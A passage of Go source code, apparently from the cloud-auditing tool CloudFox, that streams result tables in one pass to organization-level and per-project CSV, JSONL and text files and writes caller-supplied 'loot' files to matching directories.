// LootFiles contains loot files to write to org level
LootFiles []LootFile
// ProjectLootCollector returns loot files for a specific project (with inheritance).
// If nil, no loot is written to project directories.
ProjectLootCollector ProjectLootCollector
// RowRouter determines which projects each row belongs to
// If nil, rows are only written to org level
RowRouter RowRouter
// PathBuilder builds output paths for each scope
PathBuilder PathBuilder
// Format is the output format ("all", "csv", "json", "table")
Format string
// Verbosity level for console output
Verbosity int
// Wrap enables table wrapping
Wrap bool
}
// teeStreamWriter manages multiple output file handles for tee streaming
type teeStreamWriter struct {
// orgWriters holds file writers for org-level output (format -> file)
orgCSV *os.File
orgJSON *os.File
orgTable *os.File
// projectWriters holds file writers for each project (projectID -> format -> file)
projectCSV map[string]*os.File
projectJSON map[string]*os.File
projectTable map[string]*os.File
// Track which projects have had headers written
projectHeaderWritten map[string]bool
// Configuration
format string
outPath string
}
// HandleHierarchicalOutputTee performs single-pass streaming with tee to multiple outputs.
// This is the most efficient method for large datasets that need both org-level and per-project output.
//
// Instead of streaming org data first, then streaming each project's filtered data separately,
// this function streams through the data once and writes each row to:
// 1. The org-level output (always)
// 2. Any project-level outputs determined by the RowRouter function
//
// This reduces I/O and processing time significantly for large datasets.
func HandleHierarchicalOutputTee(config TeeStreamingConfig) error {
logger := NewLogger()
if config.OrgID == "" {
return fmt.Errorf("OrgID is required for tee streaming")
}
// Get base module name for logging
baseCloudfoxModule := ""
if len(config.Tables) > 0 {
baseCloudfoxModule = config.Tables[0].Name
}
// Build output paths
orgPath := config.PathBuilder("organization", config.OrgID)
projectPaths := make(map[string]string)
for _, projectID := range config.ProjectIDs {
projectPaths[projectID] = config.PathBuilder("project", projectID)
}
// Track which projects received data (for loot file generation)
projectsWithData := make(map[string]bool)
// Process each table
for _, t := range config.Tables {
if config.Verbosity > 0 {
tmpClient := TableClient{Wrap: config.Wrap}
tmpClient.printTablesToScreen([]TableFile{t})
}
safeName := sanitizeFileName(t.Name)
// Initialize writers
writer := &teeStreamWriter{
projectCSV: make(map[string]*os.File),
projectJSON: make(map[string]*os.File),
projectTable: make(map[string]*os.File),
projectHeaderWritten: make(map[string]bool),
format: config.Format,
}
// Open org-level files
if err := writer.openOrgFiles(orgPath, safeName, config.Format); err != nil {
return fmt.Errorf("failed to open org files: %w", err)
}
// Write org-level headers
if err := writer.writeOrgHeader(t.Header, config.Format); err != nil {
writer.closeAll()
return fmt.Errorf("failed to write org header: %w", err)
}
// Pre-open project files if we have a router
if config.RowRouter != nil {
for projectID, projectPath := range projectPaths {
if err := writer.openProjectFiles(projectID, projectPath, safeName, config.Format); err != nil {
writer.closeAll()
return fmt.Errorf("failed to open project files for %s: %w", projectID, err)
}
}
}
// Stream each row
for _, row := range t.Body {
cleanRow := removeColorCodesFromSlice(row)
// Always write to org level
if err := writer.writeOrgRow(cleanRow, config.Format); err != nil {
writer.closeAll()
return fmt.Errorf("failed to write org row: %w", err)
}
// Route to projects if router is configured
if config.RowRouter != nil {
targetProjects := config.RowRouter(row)
for _, projectID := range targetProjects {
// Track that this project has data
projectsWithData[projectID] = true
// Write header if this is the first row for this project
if !writer.projectHeaderWritten[projectID] {
if err := writer.writeProjectHeader(projectID, t.Header, config.Format); err != nil {
writer.closeAll()
return fmt.Errorf("failed to write project header for %s: %w", projectID, err)
}
writer.projectHeaderWritten[projectID] = true
}
if err := writer.writeProjectRow(projectID, cleanRow, config.Format); err != nil {
writer.closeAll()
return fmt.Errorf("failed to write project row for %s: %w", projectID, err)
}
}
}
}
// Close all files
writer.closeAll()
// Log output paths
if config.Format == "all" || config.Format == "csv" {
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(orgPath, "csv", safeName+".csv")), baseCloudfoxModule)
}
if config.Format == "all" || config.Format == "json" {
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(orgPath, "json", safeName+".jsonl")), baseCloudfoxModule)
}
if config.Format == "all" || config.Format == "table" {
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(orgPath, "table", safeName+".txt")), baseCloudfoxModule)
}
// Log project outputs (only for projects that received data)
for projectID := range writer.projectHeaderWritten {
projectPath := projectPaths[projectID]
if config.Format == "all" || config.Format == "csv" {
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(projectPath, "csv", safeName+".csv")), baseCloudfoxModule)
}
if config.Format == "all" || config.Format == "json" {
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(projectPath, "json", safeName+".jsonl")), baseCloudfoxModule)
}
if config.Format == "all" || config.Format == "table" {
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(projectPath, "table", safeName+".txt")), baseCloudfoxModule)
}
}
}
// Write loot files to org level
for _, l := range config.LootFiles {
lootDir := filepath.Join(orgPath, "loot")
if err := os.MkdirAll(lootDir, 0o755); err != nil {
return fmt.Errorf("failed to create loot directory: %w", err)
}
lootPath := filepath.Join(lootDir, l.Name+".txt")
if err := os.WriteFile(lootPath, []byte(l.Contents), 0644); err != nil {
return fmt.Errorf("failed to write loot file: %w", err)
}
logger.InfoM(fmt.Sprintf("Output written to %s", lootPath), baseCloudfoxModule)
}
// Write per-project loot files (with inheritance) if collector is provided
if config.ProjectLootCollector != nil {
for projectID := range projectsWithData {
projectPath := projectPaths[projectID]
projectLootFiles := config.ProjectLootCollector(projectID)
for _, l := range projectLootFiles {
lootDir := filepath.Join(projectPath, "loot")
if err := os.MkdirAll(lootDir, 0o755); err != nil {
return fmt.Errorf("failed to create project loot directory: %w", err)
}
lootPath := filepath.Join(lootDir, l.Name+".txt")
if err := os.WriteFile(lootPath, []byte(l.Contents), 0644); err != nil {
return fmt.Errorf("failed to write project loot file: %w", err)
}
logger.InfoM(fmt.Sprintf("Output written to %s", lootPath), baseCloudfoxModule)
}
}
}
return nil
}
// openOrgFiles opens output files for org-level output
func (w *teeStreamWriter) openOrgFiles(orgPath, safeName, format string) error {
var err error
if format == "all" || format == "csv" {
csvDir := filepath.Join(orgPath, "csv")
if err = os.MkdirAll(csvDir, 0o755); err != nil {
return err
}
w.orgCSV, err = os.OpenFile(filepath.Join(csvDir, safeName+".csv"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
return err
}
}
if format == "all" || format == "json" {
jsonDir := filepath.Join(orgPath, "json")
if err = os.MkdirAll(jsonDir, 0o755); err != nil {
return err
}
w.orgJSON, err = os.OpenFile(filepath.Join(jsonDir, safeName+".jsonl"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
return err
}
}
if format == "all" || format == "table" {
tableDir := filepath.Join(orgPath, "table")
if err = os.MkdirAll(tableDir, 0o755); err != nil {
return err
}
w.orgTable, err = os.OpenFile(filepath.Join(tableDir, safeName+".txt"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
return err
}
}
return nil
}
// openProjectFiles opens output files for a specific project
func (w *teeStreamWriter) openProjectFiles(projectID, projectPath, safeName, format string) error {
var err error
if format == "all" || format == "csv" {
csvDir := filepath.Join(projectPath, "csv")
if err = os.MkdirAll(csvDir, 0o755); err != nil {
return err
}
w.projectCSV[projectID], err = os.OpenFile(filepath.Join(csvDir, safeName+".csv"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
return err
}
}
if format == "all" || format == "json" {
jsonDir := filepath.Join(projectPath, "json")
if err = os.MkdirAll(jsonDir, 0o755); err != nil {
return err
}
w.projectJSON[projectID], err = os.OpenFile(filepath.Join(jsonDir, safeName+".jsonl"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
return err
}
}
if format == "all" || format == "table" {
tableDir := filepath.Join(projectPath, "table")
if err = os.MkdirAll(tableDir, 0o755); err != nil {
return err
}
w.projectTable[projectID], err = os.OpenFile(filepath.Join(tableDir, safeName+".txt"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
return err
}
}
return nil
}
// writeOrgHeader writes header to org-level files
func (w *teeStreamWriter) writeOrgHeader(header []string, format string) error {
if format == "all" || format == "csv" {
if w.orgCSV != nil {
_, err := w.orgCSV.WriteString(strings.Join(header, ",") + "\n")
if err != nil {
return err
}
}
}
if format == "all" || format == "table" {
if w.orgTable != nil {
_, err := w.orgTable.WriteString(strings.Join(header, "\t") + "\n")
if err != nil {
return err
}
}
}
// JSON doesn't need a header line (each row is self-contained)
return nil
}
// writeProjectHeader writes header to project-level files
func (w *teeStreamWriter) writeProjectHeader(projectID string, header []string, format string) error {
if format == "all" || format == "csv" {
if f := w.projectCSV[projectID]; f != nil {
_, err := f.WriteString(strings.Join(header, ",") + "\n")
if err != nil {
return err
}
}
}
if format == "all" || format == "table" {
if f := w.projectTable[projectID]; f != nil {
_, err := f.WriteString(strings.Join(header, "\t") + "\n")
if err != nil {
return err
}
}
}
return nil
}
// writeOrgRow writes a row to org-level files
func (w *teeStreamWriter) writeOrgRow(row []string, format string) error {
if format == "all" || format == "csv" {
if w.orgCSV != nil {
_, err := w.orgCSV.WriteString(strings.Join(row, ",") + "\n")
if err != nil {
return err
}
}
}
if format == "all" || format == "json" {
if w.orgJSON != nil {
jsonBytes, err := json.Marshal(row)
if err != nil {
return err
}
_, err = w.orgJSON.WriteString(string(jsonBytes) + "\n")
if err != nil {
return err
}
}
}
if format == "all" || format == "table" {
if w.orgTable != nil {
_, err := w.orgTable.WriteString(strings.Join(row, "\t") + "\n")
if err != nil {
return err
}
}
}
return nil
}
// writeProjectRow writes a row to project-level files
func (w *teeStreamWriter) writeProjectRow(projectID string, row []string, format string) error {
if format == "all" || format == "csv" {
if f := w.projectCSV[projectID]; f != nil {
_, err := f.WriteString(strings.Join(row, ",") + "\n")
if err != nil {
return err
}
}
}
if format == "all" || format == "json" {
if f := w.projectJSON[projectID]; f != nil {
jsonBytes, err := json.Marshal(row)
if err != nil {
return err
}
_, err = f.WriteString(string(jsonBytes) + "\n")
if err != nil {
return err
}
}
}
if format == "all" || format == "table" {
if f := w.projectTable[projectID]; f != nil {
_, err := f.WriteString(strings.Join(row, "\t") + "\n")
if err != nil {
return err
}
}
}
return nil
}
// closeAll closes all open file handles
func (w *teeStreamWriter) closeAll() {
if w.orgCSV != nil {
w.orgCSV.Close()
}
if w.orgJSON != nil {
w.orgJSON.Close()
}
if w.orgTable != nil {
w.orgTable.Close()
}
for _, f := range w.projectCSV {
if f != nil {
f.Close()
}
}
for _, f := range w.projectJSON {
if f != nil {
f.Close()
}
}
for _, f := range w.projectTable {
if f != nil {
f.Close()
}
}
}